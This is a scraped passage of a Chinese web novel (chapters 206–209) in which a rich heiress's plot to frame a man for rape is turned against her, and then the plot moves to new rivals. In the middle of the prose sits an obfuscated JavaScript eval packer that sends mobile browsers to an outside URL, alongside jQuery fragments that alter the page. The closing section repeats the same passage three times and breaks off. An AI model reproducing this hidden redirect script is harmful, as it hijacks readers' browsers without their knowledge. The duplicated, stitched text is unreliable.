夏怀乐是相信秋雨的。 他想到了司珏羽。 或许是秋雨跟他走太近了,司珏羽搞出来的鬼。 他下意识就抬眼搜寻司珏羽,却没看到人。 夏怀乐心里更觉不对劲,有种很心慌的感觉。 他拉住秋雨说:“你跟灼灼没什么事就回去吧,我心里有种不太好的预感。” 秋雨心说:您现在才有这种感觉呢? 但面上却说:“灼灼刚才就不见人影,不知道去哪儿了。” 夏怀乐心里一个咯噔,连忙去打夏灼灼的电话。 没人接,提示已关机。 他立刻去找人,连秋雨都顾不上了。 很快他在一个侍应生嘴里打听到,夏灼灼是去了休息室。 他松了口气,立刻往侍应生说的休息室里走进去。 他一进门,刚才还不见人影的司珏羽从一面承重墙后面走了出来。 她唇角微扬,静静等着。 很快,那间休息室里走出来一个人。 并不是刚才进去的夏怀乐,而是她的手下,鹏宇。 鹏宇朝她这边看了一眼,对着她轻轻点了下头。 司珏羽的唇角扬得更高。 因为她知道,这是事情办成了的意思。 夏怀乐已经在里面“老实”等着她了。 但司珏羽并不着急进去,而是找到了秋雨。 一口恶气不出,她办事也不愉快。 “你是哪家的丫头?” 明明是差不多的年纪,却叫她“丫头”,明显是不把秋雨放在眼里。 秋雨看着憨直可爱,却也是个伶牙俐齿的。 “你又是哪家养的,在这里摆大小姐的谱?真想看看你父母是什么样的人。” 司珏羽脸色一黑。 “混账!谁允许你用这种语气跟我说话?” 秋雨冷笑一声。 “你是爱而不得,得失心疯了吗?还当这是清朝呢?人人平等,你懂吗?你用什么语气跟我说话,我就用什么语气跟你说话,有问题吗?” “你敢说我失心疯?!” 司珏羽被她气到了,立刻招呼鹏宇过来。 “扇她的嘴!” “这……”鹏宇没想到一切顺利,大小姐却跟这女人吵了起来。 “大小姐,正事要紧。” “我知道!但现在,你先给我好好教训她!” 鹏宇深吸了一口,说:“您先去,我帮您教训她。” 司珏羽额头上的青筋跳了跳,到底还是走了。 她径直去了休息室。 鹏宇这才看向秋雨,道歉道:“这位小姐,实在不好意思,我家小姐脾气不太好,请你见谅。” “什么见谅?我可不是娇滴滴的女人,你不是要教训我吗?走啊,我们出去打一架。” “……” “怎么?你怕了?” 不等鹏宇回答,秋雨直接拽住鹏宇的袖子,就把他往外拉。 鹏宇不想引起太大动静,只能跟着秋雨出去解决。 而另一边,司珏羽已经推开了休息室的门。 她抬眼一看,果然看到夏怀乐背对着她,趴在沙发上一动不动。 她的唇角再次翘了起来。 她故意买通了侍应生,让他引路夏怀乐到这个休息室里来。 而休息室里,夏灼灼根本不在这一间,她被她买通的许姨带到另外一间休息室里去了,现在正昏迷着呢。 而这一间休息室里,埋伏了鹏宇。 夏怀乐一进门,就会被他打晕,拖到沙发上。 而她进来后,会脱掉自己的衣服。 等到夏怀乐醒过来的时候,她就大喊大叫,说夏怀乐要对她用强的。 那么多双眼睛看着,夏怀乐摘不清自己,他会被警察带走。 而她,会去找夏家谈判。 除非夏怀乐跟她结婚,否则,她就会以强J罪起诉他。 夏怀乐不想坐牢,就只能娶她。 那么,夏怀乐就是她的了。 这一招,杀敌一百自损三千,大庭广众下被看光了身子,她的清誉也大大受损。 但她愿意这么做。 这也是最好的、最直接的得到夏怀乐的办法。 她已经等不了了。 今天是她留在沪城的最后一天,明天她必须离开这里。 哪怕代价再大,只要能得到夏怀乐,她什么都能做得出来。 她快被自己的执念真逼成失心疯了。 司珏羽确定夏怀乐在里面后,立刻关上了休息室的门。 休息室也在一楼,门关上也隐约能听到外面的声音。 房间里的窗户不知为何开着,但她没太在意。 反正外面是个小花园,没有人。 做完这些,她迈步朝夏怀乐走过去,躬身坐到他旁边,脱掉了自己的衣服后,贪恋地从侧面抱住躺在沙发上的夏怀乐,沉迷地深吸了一口气。 “怀乐,我真的爱你……你别怪我,我会对你好的。” 她一边说,一边去亲他的耳朵。 可就在这时,那人动了,慢慢转过身来。 第207章 司珏羽被算计了 看到自己抱着的人动了,司珏羽狠狠吃了一惊。 夏怀乐竟然醒得这么快? 鹏宇这个废物! 她的脑子转的飞快,想着要不要再把夏怀乐打晕,还是趁着现在直接就开始喊人,就看到她抱着的人,竟不是夏怀乐! 身边的男人,长了一张偏窄长的脸,虽然是个男人,却线条柔和,有种阴柔美。 不是许星耀,又是谁呢? 一瞬间,司珏羽面色大变,血液仿佛从脚底板瞬间蹿上天灵感,脸颊涨得通红。 ——当然,不是因为害羞,是大惊失色下被气的。 “怎么会是你?!” “司小姐?我也不知道……”许星耀同样一副惊慌的样子,说:“我就是喝了一杯水……然后睁眼就在这里了。” 许星耀虽然演技不行,但这种决定命运的关键时刻,还是能演出无辜感的。 司珏羽的眼睛瞪的更大。 他们被算计了! “衣服!我的衣服!” 司珏羽顾不上那么多,立刻就要去穿衣服。 可她人还没完全从沙发上起来,房门就被秋雨踹开了。 “司小姐,你的人打了我,你不准备给我个说法吗?!” 秋雨一脸怒气冲冲,踹开了房门。 她的身手是跟夏灼灼学的,下盘的力道,是谷仔带她练的。 所以一般的门对她来说,如同摆设。 门瞬间就开了。 两个人躺在沙发上,一个衣衫凌乱,另一个…… “司小姐,你怎么不穿衣服……你跟这个男人在干什么?!” 秋雨看到未着一丝一缕的司珏羽,恰到好处露出惊讶的表情,并且伴随高声呼喊。 她的嗓门很大,很快吸引来无数酒会上宾客。 从刚才司珏羽和秋雨起争执的时候,就有人注意她们。 因而秋雨从外面回来,带着一脸怒气,就有人想看好戏,所以一直跟着她。 没成想,意料之中的两女扯头花的场面虽然没有出现,但却看到了更让人瞠目结舌的一幕。 “这不是司家堂小姐吗?她也太不分时候了……” 堂堂的司家堂小姐,竟然在这种慈善酒会的场合,跟男人苟且! 这可是惊天大新闻! 越来越多的人聚过来,包括今天参加酒会的几个媒体人。 有人伸手拿出了相机,对着司珏羽就咔嚓咔嚓拍照。 “别拍——你们找死?都不准拍!给我滚出去!滚出去啊!!!” 司珏羽两手遮住胸前的春色,发疯般尖叫着。 可没人走。 这种场面,可是很罕见的。 有八卦看,谁不看? 正由于大家都不走,司珏羽也没法起身去穿衣服,她只能尽量缩在许星耀身边,用他遮挡自己的身体。 “都滚出去啊!鹏宇!鹏宇!” 她一边让人滚出去,一边大喊自己的手下的名字。 可喊了半天,鹏宇这人就跟消失了一样。 就在这时,有人来了。 来的当然不是鹏宇,而是蚊子。 他身后站着一帮炎享的高层。 见到这场景,他眉头皱了皱,很体面地叫手下先帮忙把衣服递给司珏羽,又叫人把门关上。 “司小姐,你换好衣服再出来。” 说完,他便把门关上了。 司珏羽抓紧衣服,叫许星耀“把狗眼闭上”,这才快速穿好衣服。 但她的脑子一片空白,跟魂魄出窍似的。 她不明白,为什么会变成这样。 虽然她被人看了身子,这是她预设好的。 可是,她身边的男人,却不是夏怀乐。 这对她毫无益处! 夏怀乐人呢?他究竟为什么不在房间里?还有鹏宇呢?难道是他背叛了自己?! 极有可能! 否则,事情不应该是这样的。 司珏羽的脑子越思考越乱。 夏怀乐的事,这次是不成了。 她只能先摘清自己。 “许星耀,你愿意再为我做一件事吗?” “什么?”许星耀一脸茫然,让司珏羽更觉他好拿捏。 “你把事情认了,我会给你更好的前程。” “……好。” 司珏羽有些意外。 许星耀答应得太爽快了。 她还没说自己要许诺给他什么呢。 偏在这时,蚊子的声音再次传进来。 “司小姐,你穿好衣服了吗?我开门了。” 她攥紧手心,默默看了一眼满脸无措的许星耀,哆嗦着开口:“换好了……” 房门在下一秒被打开。 挤在门口看热闹的宾客们已经被蚊子组织散开,但大家只是后退了几米,并未完全离开。 还是那句,有八卦看谁不看? 而人群里,夏灼灼已经从房间里出来了,安静看着前面不远处。 秋雨则站在她旁边。 只有夏怀乐这个司珏羽计划中的“男主角”不在。 “司小姐。”蚊子的脸色算不上好看,他沉声道:“我不知道,您行事竟然如此荒唐。早知如此,我不会邀请你过来。你毁了我们炎享的慈善酒会,不知准备如何赔偿?” 司珏羽的脸色顿时更难看了。 她以为蚊子刚才帮自己解围,是有意护着她的,可现在一转头,却找她索赔? 她不知道的是,蚊子叫手下把衣服给司珏羽,并且关门让她换衣服,不代表他不追究司珏羽的责任。 只不过是他比较要体面罢了。 而现在,该是追究责任的时候了。 司珏羽死死地攥着拳,突然指向身旁的许星耀。 “是他害我!他早就喜欢我,故意骗我进房间,把我打晕,想对我做不轨的事。还好你们来的快,我刚醒过来,他还没来得及对我做什么。我也是受害者!” 这话,一是表明自己还是清白之身,二也解释了她为什么会光着身子跟许星耀躺在一起。 她不能说是自己设计夏怀乐不成,反而被摆了一道。 所以她只能把所有责任,都丢给许星耀。 蚊子顿时看向许星耀。 “你是我们公司新签的吧?事情真是这样?” 司珏羽看向许星耀,眼神里有不明显的威压。 然而出乎她意料之外的是,许星耀竟然直接摇头否认了。 “不是的!我也不知道我为什么会在这里!有个服务生,他给我端来了一杯水,我正好口渴了,就喝了,没想到再睁眼的时候,我就在房间里了。” 司珏羽猛地看向许星耀,眼里满是愕然和愤怒。 “不是这样的!!” 他们刚才在房间里明明已经说好的了。 让许星耀按照她说的,把所有的锅都背下来。 他虽然是犯罪,可因为“未遂”,她再写谅解书,他能很轻松地从案件里脱身。 之后,她会给他很多很多的钱,甚至把他送到国外去发展。 许星耀当时答应的很利索,怎么转眼间,突然反悔? 可她脑子里来不及细想这些,只死死盯着许星耀的眼睛。 “不是这样的!你胡说!昏迷的人是我,不是你!你最好想清楚了再说话,否则真相查清楚,我不会放过你的!” 这话看起来是在为自己辩白,其实是在威胁许星耀。 许星耀怎么会听不懂? 但他依旧是刚才那个态度。 “尚总,我说的都是真的,我什么都不知道,更没那个胆子敢对司小姐怎么样。而且我的身份也不是普通人,一旦犯了事,我万劫不复,怎么会做这么愚蠢的事情?” 蚊子的本名,叫尚杰决。 他深深看了许星耀一眼,似乎是在揣测他说的话是真是假。 司珏羽急了。 “尚总,你难道信他不信我?我是什么身份?我看得上他?我要是真看上他了,至于用强的吗?” 这话说的好像也不错。 就在这时,一道女声突然开口:“我上次来未来之境,注意到花园那边有摄像头,正好对着这边的方向。不如看看摄像头有没有拍到。” 司珏羽闻声看过去,正是夏灼灼。 她瞳孔一阵紧缩。 夏灼灼怎么在这儿? 那安眠药的分量,足够持续到酒会彻底结束。 难道她根本没喝? 司珏羽很快又想到,难道夏灼灼一早就察觉到了不对,所以故意反过来摆她一道? 如果是这样,那许星耀的反常就可以解释了。 夏灼灼买通了许星耀! 一时间,她心乱如麻,只死死地盯着夏灼灼。 她像是猛虎,一有机会,就会反扑。 可注定,她没有反扑的机会了。 监控很快拿到了。 蚊子也不避着人,直接当着所有人的面看了监控。 监控里,许星耀跌跌撞撞进了休息室,明显神志不清,很快一头栽倒在沙发上。 而后过了没多久,司珏羽进来了。 她明显是主动进来的,进门之后先东张西望一番,而后做贼似的关上门,随后便快速脱下自己的衣服,来到沙发边,抱住了许星耀。 蚊子没逼着人,附近的人也都看到了。 “……这不就是司小姐自己主动的吗?” “许星耀那个样子,像是被人迷晕了。” “反正看不出来许星耀用强,反而是这个司小姐脱了衣服就抱住许星耀。” “司小姐在撒谎。” “怪不得许星耀不要司享的大好前途,跳槽到炎享当个新人。原来是躲着这位祖宗!” 众人叽叽喳喳议论开了。 司珏羽脸色青一阵白一阵。 她带着压抑的疯狂说:“这视频不对!有人陷害我!” 人群里的夏灼灼轻轻弯起唇角。 这视频的确不对。 是特意剪辑过的。 第208章 司珏羽的死 夏灼灼故意叫蚊子的人,把中间那段夏怀乐进门,然后被提前藏在里面的鹏宇打晕,之后她翻窗进来,把夏怀乐带走那一段,直接剪掉了。 掐头去尾,就成了现在这个监控视频。 她的剪辑技术很好,足以让人看不出任何破绽。 蚊子在这时面无表情开口:“司小姐,你们两个要怎么处理这件事,你们私下解决,与我无关。但今天的损失,你必须赔偿。” 司珏羽狠狠瞪向蚊子。 “你要多少赔偿?” “今天的慈善酒会肯定是办不下去了,我的律师稍后会联系你,跟你商议具体赔偿金额。” “随便你!”反正她有的是钱。 只是可恨错过了这么好的机会拿下夏怀乐。 她又狠狠瞪了人群中的夏灼灼一眼。 都怪这个女人,毁了她的计划! 却见夏灼灼笑意盈盈地望向她。 她只感觉自己后背一阵凉风吹过,平添一份惊悚。 这**,还想干什么? 夏灼灼却直接转身走了。 她的确有后招。 仅仅只是让司珏羽丢这么一点脸? 这太便宜她。 不过她不需要亲自动手,因为接下来的事情,自有别人会去做。 她来到自己之前待的那间休息室。 里面许姨正在替她照顾夏怀乐。 夏怀乐还没有醒过来。 见她进来,许姨连忙问:“七小姐,外面情况怎么样?” “一切顺利。” 许姨这才稍稍放心,又说:“三少爷怎么还没醒?” “我来。” 夏灼灼几步上前,从随身的小包里拿出一根银针,慢慢刺入夏怀乐的虎口处。 夏怀乐很快蹙起眉,慢慢转醒了。 后颈一阵生疼,他伸手要去揉,被夏灼灼拉住。 “没事的,三哥,回去之后我给你两副膏药,两天就能好。” 夏怀乐这才注意到房间里有夏灼灼和许姨。 他惊讶地问:“你们怎么在这儿?不对,我怎么在这儿?有个男人,我刚……” “我都知道,三哥。” 夏灼灼打断他,把司珏羽的计划大概说了一遍。 又说了自己是怎么破局,并且以牙还牙的。 “我让人说服了许星耀……” 那个人,就是蚊子。 当时那通给许星耀接的电话,说话的人就是蚊子。 他许诺他,会把合约还给他,并且帮助他成立个人工作室。 工作室成立之后,他不会被任何人束缚。 当然,也失去了以前司享的助力。 不过凭他现在的人气,他也不需要那些了,只需要不再跟以前一样犯错,打骂手底下的人,洁身自好,路就不会难走。 “许星耀告诉了我司珏羽的具体安排,我就在你被打晕之后,摸到你房间,把你带到这边来了。而许星耀,则从窗外爬进去,代替你躺在那里。” “那个女人……简直无可救药!”夏怀乐恨恨地说:“我明明跟她说清楚了的。” “她这是执念。因为人生太顺风顺水,所以觉得一切她看上的,都该属于她。或许你当初同意跟她在一起,她早就玩腻你了。” “……”夏怀乐陷入了沉默。 夏灼灼为了缓解气氛,故意说:“司珏羽长得也不差,你当初怎么不考虑考虑她?” 夏怀乐说起了一件事。 那时候他刚出道,在剧组里当一个配角。 “那个剧组是司享自己出资的剧组,当时需要一只狗参演,导演找了条流浪狗。” “正好那时候司珏羽担任监制,看那只狗可爱,想抱它,但那只狗不让她碰,躲开了。” “后来第二天,大家发现那只流浪狗被人毒**。” “我当时的助理告诉我,她亲眼看到,是司珏羽把那只狗毒死的。” 夏灼灼了然。 夏怀乐是一个善良正直的人,比起外貌家世,更在意一个人的内在。 他当然不会接受司珏羽的示好。 “难怪……”夏灼灼道。 夏怀乐点了下头,问她:“她现在呢?有没有认罪?” “她已经走了,她不会认的。” “什么?” “放心吧,三哥,她认不认,已经不重要了。” 夏怀乐没听懂,但很快他就懂了。 司珏羽的确顺利离开了未来之境,但这件事也随着她离开,很快就泄露出去。 泄露这件事的不是别人,而是鹏宇。 司珏羽自己的手下。 秋雨把鹏宇骗出去后,谷仔很快拿住了他。 暗部的人不是吃素的,只一天,就让鹏宇倒戈。 他自己去警局自首,明确说明了他是如何成为司珏羽的“帮凶”的。 当然,男主角换成了许星耀。 与此同时,记者们也把酒会当天发生的事情在网上大肆宣 扬。 一时间,司珏羽人人喊打。 尤其是许星耀的粉丝,恨不得把司珏羽五马分尸。 司珏羽想离开沪城,回到京都,却被霍刚扣住。 “司小姐,我说过了,一周之内你不走,之后就别想走了。” 她很快被警局带走。 消息传到司珏羽父亲的耳朵里,司父立刻动身来了沪城。 他找司慎行谈了,姿态放的很低。 无论付出什么代价,只求自己的女儿能从里面出来。 司父不傻,怎么会猜不到司珏羽被带走,是司慎行在背后推波助澜呢? 否则借他们一百个胆子,他们也不敢带走司珏羽。 两个人在枫林晚谈了很久,司父出来的时候,仿佛一瞬间苍老了十岁。 他早年丧妻,就这么一个女儿,把她骄纵得无法无天,而现在,他也自食恶果了。 司慎行半笑不笑道:“二叔,您放心,您离开S集团,我还是会保您衣食无忧。” ——司父救女儿的代价,就是从此离开S集团。 在这之前,他是司慎行彻底掌权S集团的最大阻力。 但是人就有弱点,他的弱点就是他女儿。 为了女儿,他甘愿放下一切。 司父深深看了司慎行一眼。 “我真是小看你了。早在猜到小羽会犯错之前,你就想好了这一天吧?” 司慎行扯唇一笑:“二叔说什么?我听不懂。您自己没管教好女儿,难不成还是我的错吗?” 司父攥着拳头,最后还是松开,转身走了。 几天后,司父正式从S集团离职。 司董事长得知这个消息已经是一周之后了。 他在电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399355|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话里朝司慎行发了一通脾气。 “再怎么说,也是自家人,你何必把事情闹成这样?” 只是发完脾气,他也没提恢复司珏羽父亲职位的事情。 他心里对自己的弟弟是有感情的,但也知道,自己这个弟弟,是司慎行收服整个S集团的最大阻力。 因而他虽然生气,却也没做什么。 司父很快带着司珏羽出国了。 这一走,他们再也不能回来。 对于司珏羽这个结局,秋雨还是有些不满意。 “按我说,就该让她蹲几年牢!” 夏灼灼笑道:“蹲几年牢又怎么样?出来她还是司大小姐。还不如像现在这样,成为一个‘无名氏’,被驱逐出权力中心。” “那倒也是……” 夏灼灼点头说:“她这个性格,是安分不了的,去了国外早晚也会出事。咱们不需要出手,她自己就能作死。” 而事实果然如夏灼灼说的这样,司珏羽出国之后,仍然以司大小姐自居,很快惹了不该惹的人。 但这次,没有人能做她的靠山了。 她很快再一次搬起石头打了自己的脚。 一天凌晨,她被人发现冻死在国外的街头。 但到底是冻死的,还是被虐死的人,无人知道。 夏灼灼也并不关心。 作恶的人,或早或晚,都会因为自己的恶毒,自食恶果。 …… 这一天,夏灼灼从暗部回到家,得知了一个好消息。 夏怀征参加完他说的黑客比赛,拿了冠军。 夏灼灼满眼惊喜。 “大哥,我就知道你能行!” 夏怀征的腿,如今已经能正常走路了。 他笑笑,道:“这多亏了你。不过这件事还没对外公开,要一周后正式公布,暂时不要对我说。” 夏灼灼点头:“我知道。” 又问:“那你以后就要去给官方工作了?” “嗯。会调我去华夏网络安全局。” “太好了。” “还有一件事……这个比赛,余一鸣也去了。” “余一鸣是谁?” 夏灼灼觉得这个名字有点耳熟,却一时间想不起来。 夏怀征提醒她:“是我前未婚妻的现任未婚夫。” 简单来说,就是白知芙现在的未婚夫。 夏灼灼想起来了,她问:“白家的订婚宴就在下周吧?” “是。正好是冠军公布当天。在我报名之前,余一鸣是最有潜力拿冠军的。” “那看来白家和余家要空欢喜了。” “没错。”夏怀征点头,眼底却没有幸灾乐祸,只有漠然。 对于曾经他用命去爱的白知芙,如今,他只把她当一个陌生人。 连仇恨都没有,更别提爱了。 对付白家,也只是为了夏灼灼。 等待订婚宴的这一周内,夏灼灼又得知了一个消息。 窦斯礼从监狱里出来了。 “谁去接的?”夏灼灼问谷仔。 谷仔立刻回答道:“他哥哥,窦斯齐。他们没回京都,而是在沪城买了套房子。老大,你要小心。” 谷仔已经知道,前两次夏灼灼差点出事,都是窦斯齐在背后搞鬼。 “我会小心的。” 结果到第二天,夏灼灼就遇上了他们兄弟两个。 第209章 要什么节操? 这一天,夏灼灼是去接冯淮安出院的。 小朋友看到她,眼睛就立刻亮了起来。 夏灼灼带着一个小蛋糕进门。 她记得冯淮安喜欢吃蛋糕。 果然,小家伙抱着了蛋糕就不撒手。 冯太太无奈一笑,说:“知道你过来,他就说,你肯定会带蛋糕给他。这下他愿望实现了。” 夏灼灼笑笑,道:“适量吃点,没事的。安安术后恢复得怎么样了?” 冯太太便让冯淮安开口说几句话。 冯淮安开口就流畅地说了一段绕口令。 “四是四,十是十,十四是十四,四十是四十……” 口齿非常清楚。 夏灼灼很惊喜。 “比我想象中恢复得还要好。” “他一直在锻炼,说要展示给你看。” 冯淮安的脸立刻红了。 他很不好意思地说:“妈妈,你怎么什么都说出去……” “哈哈哈……”冯太太笑起来。 不多时,冯昭阳也来了。 夏太太带着冯淮安去办出院手续,夏灼灼则是留在病房,跟冯昭阳深谈。 “窦家的出狱了,你接下来什么打算?” 早在那次夏灼灼让冯昭阳整顿监狱乱象,他就猜到,夏灼灼的目的在窦斯礼身上。 夏灼灼道:“见招拆招,我们不主动出手,就不会留有破绽。” 她很少主动出击,因为主动,就会暴露自己。 反而防守,看似被动,实则更能破局。 冯昭阳点点头,又给她透露了一个消息。 “京都凌家,你认识吗?” 夏灼灼摇头:“听说过,但不认识。” “他们之前跟我一样,是中立派。但最近,他们家的独女,跟窦家走得很近。” 凌家也是京都的名门。 十几年前,他们甚至比司家的话语权还要高。 夏灼灼连忙道谢:“多谢,我会注意一下他们。” 冯昭阳摇摇头:“是我得谢谢你,如果没有你,安安恐怕要出事。” 他最在意的,就是自己的妻儿。 夏灼灼为他守护住了他的妻子和儿子,还不止一次。 半小时后,夏灼灼目送冯家一家三口离开医院。 正要回家,司慎行的电话打了过来。 “有没有这个荣幸请夏小姐吃晚餐?” 夏灼灼听到司慎行的声音就忍不住唇角勾起。 “除非你求我?” “求你。” “……你也太没节操了。” “有女朋友了,还要什么节操?” “……”好像很有道理的样子。 “那晚上五点见?带上谷仔?” 夏灼灼犹豫两秒,点头:“好。” 她跟阿麦已经很熟,但谷仔跟司慎行却还是属于陌生人,他们也该认识认识。 她的身份是否该告诉司慎行,谷仔作为她的“合伙人”,也有发言权。 所以,得先让谷仔见一见司慎行。 她或许身在林中,被迷糊乱了心神。 但谷仔作为局外人,会比她看得更清楚一些。 一朝被蛇咬十年怕井绳,哪怕她跟司慎行的关系已经很亲近,她心里总归还是有一点担忧。 这担忧甚至不是对司慎行的,而是对她自己看人眼光的担忧。 感情的事,她固然可以冒险。 但暗部,她没有资格一个人说冒险就冒险。 “那就这么定了,我到时候来接你?” “不用,我带谷仔过去。” “好,那一会儿发你地址和包厢号。” “嗯。” 挂断电话,夏灼灼想着今天他们兄弟俩第一次认真聚在一起吃饭,加上司慎行也在场,谷仔平时穿的那些奇形怪状的衣服就不能穿了。 于是便拨通谷仔的电话,让他来附近的万和商场。 “晚上跟司慎行还有阿麦吃饭,我带你挑一身衣服,打扮打扮。” 谷仔沉默一秒,说:“老大,如果你不喜欢我跟我哥来往,我也可以不见他。” “这是什么话?” 谷仔说起了未来之境的事。 “那天,我跟我哥闲聊,不小心提到您那天下午要去未来之境参加慈善酒会……在任何情况下,我都不该跟任何人透露您的行程的。” 夏灼灼拿着手机哑然一笑。 “那天下午的行程,司慎行原本就知道。你以为没有他,我们当天的计划能那么顺利?那些警察敢带走司珏羽?你不用怪自己,这是小事。” “这件事的确只是小事。可是,万一我不小心说漏了更多,那就不是小事了。” 他原本是个很谨慎的人,可见了自己的亲哥,总有聊不完的话。 ——他小时候就很依赖他哥,就像现在很依赖夏灼灼一样。 所以他怕自己一上头,一不小心就把一些重要的秘密说漏嘴了。 夏灼灼 沉默片刻,说:“谷仔,你能想到这一层,就永远不会背叛我。” “那是我亲哥,您……一点都没有猜疑我吗? “没有,用人不疑,更何况这一路都是我们两个一起闯过来的。暗部在你心中的分量不比暗部在我心里的分量我轻。” “是……暗部对我来说,比我哥的分量还要重几分。同样的,几次接触下来,我发现,对我哥来说,司先生也比我的分量重。” 他们仍是手足兄弟,可彼此也有比对方还要在意的人。 有些东西没变,但有些东西又变了。 他们都长大了。 所以谷仔才提出来,要不要不再跟他哥联系。 夏灼灼道:“你大可以不用想这么悲观,其实我跟司慎行……” 话未说完,夏灼灼看到了一对长相英俊的兄弟。 她一眼便认出他们。 正是窦斯礼和窦斯齐。 兄弟俩虽然不是同一个母亲,但长得却还挺像的。 只是窦斯礼这个弟弟是鹰钩鼻,看起来颇有些凌厉和心机,却也有几分英俊。 窦斯齐的鼻子倒是长得很周正,只是有点塌,就让整张脸看起来略显平凡了。 所以一般人一眼看去,只会注意到窦斯礼,很难发现,窦斯齐才是那个真正难对付、难交心的。 夏灼灼和窦斯齐两次“隔空交手”下来,已经深知这个人的秉性。 不是个好对付的。 想对他下手,只能以守为攻,等待对方先出手,再慢慢破局。 夏灼灼在兄弟二人看过来的前一秒收回视线,神色如常地目视前方,手机贴着耳朵继续跟电话那头的谷仔说。 “我跟他……一时半会儿也说不清楚,你先过来吧,我们到万和商场见面再说。” “是,我大概一个小时后到。” “嗯。那我们万和商场见。” 她故意把“万和商场”四个字咬字咬的很清晰。 窦斯礼失去监狱里的优待之后,完全吃不惯里面的饭菜,才半个月时间,瘦的几乎脱了相。 窦斯齐是带窦斯礼来医院检查身体的,顺便开一点补剂。 他没有立刻带弟弟回京都的理由就是,弟弟身体不适,不好坐飞机,先调养一段时间再回去。 所以演戏演全套,他亲自带着窦斯礼来医院做检查。 体检结果要一周之后出。 却没想到在这里碰到了夏灼灼。 这是他第一次亲眼看到夏灼灼本人, 比资料里的照片好看。 怪不得司慎行不顾形势危机,还跟夏灼灼继续接触。 自古英雄难过美人关啊。 若不是夏灼灼的身份特殊,他都会对她生出几分心思。 真是只祸害! 窦斯礼也看到了夏灼灼,顿时眼睛一亮。 他本就好色,看到如此大美人,哪能不动心思? 只是大哥在旁边,他不好直接去搭讪,只能看着美人上了一辆出租车走了。 窦斯齐清楚看到了自己弟弟的好色模样。 他心中冷笑一声,面上却挂着无可奈何的宠溺笑容。 “怎么?看上人家小姑娘了?” “咳……”窦斯礼神色有些不自在,说:“很少看到长这么漂亮的。可能是在监狱里待久了,呵呵,大哥你别在意。” “怎么能不在意?刚才大夫说,你肝气郁结,保持心情舒畅很重要。这样吧,我给你制造一个机会,让你认识她。” 窦斯礼眼睛大亮。 “真的?” 他还以为大哥会骂他一顿。 他知道,自己这个同父异母的哥哥从小看不起他。 这次是怎么回事? 居然帮他? 只听窦斯齐说:“爸说了,你在里面受了委屈,让我尽量依着你。一个女人而已,我帮你安排了。” 窦斯齐明白过来,这是迫于爸爸的威压。 否则他才不会亲自带他来医院调理,更不会帮他找女人。 窦斯齐继续说道:“你进去之后,爸和爷爷的身体就有些不好,我也不盼你别的了,早点结婚生子,让他们安心就是你的唯一任务。如果这女人家世也还可以,你就定下来,别只想着玩。” 大家长的态度让窦斯礼觉得烦躁。 果然,大哥还是那个大哥。 他只是迫于爸爸的面子,才迁就他。 “才见了一面,你怎么想这么远?我可还不想结婚。” “那你的意思是,我不用帮你撮合那女人?” “那也不是……” 那女人长得过分漂亮了,他怎么会放过这么好的机会? 他在监狱里当了那么久和尚,早该“纾解”一下了。 “那就拜托大哥了?” “走吧,去万和商场。” “去商场做什么?不是要帮我拿下那个女人?” “我刚才听到,她要去万和商场。” 窦斯礼的眼睛再次亮起来。 “怪不得爷爷老夸你,你连听力都比我好。” 窦斯齐笑笑,并不接话,只是驱车带着他往万和商场去。 比资料里的照片好看。 怪不得司慎行不顾形势危机,还跟夏灼灼继续接触。 自古英雄难过美人关啊。 若不是夏灼灼的身份特殊,他都会对她生出几分心思。 真是只祸害! 窦斯礼也看到了夏灼灼,顿时眼睛一亮。 他本就好色,看到如此大美人,哪能不动心思? 只是大哥在旁边,他不好直接去搭讪,只能看着美人上了一辆出租车走了。 窦斯齐清楚看到了自己弟弟的好色模样。 他心中冷笑一声,面上却挂着无可奈何的宠溺笑容。 “怎么?看上人家小姑娘了?” “咳……”窦斯礼神色有些不自在,说:“很少看到长这么漂亮的。可能是在监狱里待久了,呵呵,大哥你别在意。” “怎么能不在意?刚才大夫说,你肝气郁结,保持心情舒畅很重要。这样吧,我给你制造一个机会,让你认识她。” 窦斯礼眼睛大亮。 “真的?” 他还以为大哥会骂他一顿。 他知道,自己这个同父异母的哥哥从小看不起他。 这次是怎么回事? 居然帮他? 只听窦斯齐说:“爸说了,你在里面受了委屈,让我尽量依着你。一个女人而已,我帮你安排了。” 窦斯齐明白过来,这是迫于爸爸的威压。 否则他才不会亲自带他来医院调理,更不会帮他找女人。 窦斯齐继续说道:“你进去之后,爸和爷爷的身体就有些不好,我也不盼你别的了,早点结婚生子,让他们安心就是你的唯一任务。如果这女人家世也还可以,你就定下来,别只想着玩。” 大家长的态度让窦斯礼觉得烦躁。 果然,大哥还是那个大哥。 他只是迫于爸爸的面子,才迁就他。 “才见了一面,你怎么想这么远?我可还不想结婚。” “那你的意思是,我不用帮你撮合那女人?” “那也不是……” 那女人长得过分漂亮了,他怎么会放过这么好的机会? 他在监狱里当了那么久和尚,早该“纾解”一下了。 “那就拜托大哥了?” “走吧,去万和商场。” “去商场做什么?不是要帮我拿下那个女人?” “我刚才听到,她要去万和商场。” 窦斯礼的眼睛再次亮起来。 “怪不得爷爷老夸你,你连听力都比我好。” 窦斯齐笑笑,并不接话,只是驱车带着他往万和商场去。 比资料里的照片好看。 怪不得司慎行不顾形势危机,还跟夏灼灼继续接触。 自古英雄难过美人关啊。 若不是夏灼灼的身份特殊,他都会对她生出几分心思。 真是只祸害! 窦斯礼也看到了夏灼灼,顿时眼睛一亮。 他本就好色,看到如此大美人,哪能不动心思? 只是大哥在旁边,他不好直接去搭讪,只能看着美人上了一辆出租车走了。 窦斯齐清楚看到了自己弟弟的好色模样。 他心中冷笑一声,面上却挂着无可奈何的宠溺笑容。 “怎么?看上人家小姑娘了?” “咳……”窦斯礼神色有些不自在,说:“很少看到长这么漂亮的。可能是在监狱里待久了,呵呵,大哥你别在意。” “怎么能不在意?刚才大夫说,你肝气郁结,保持心情舒畅很重要。这样吧,我给你制造一个机会,让你认识她。” 窦斯礼眼睛大亮。 “真的?” 他还以为大哥会骂他一顿。 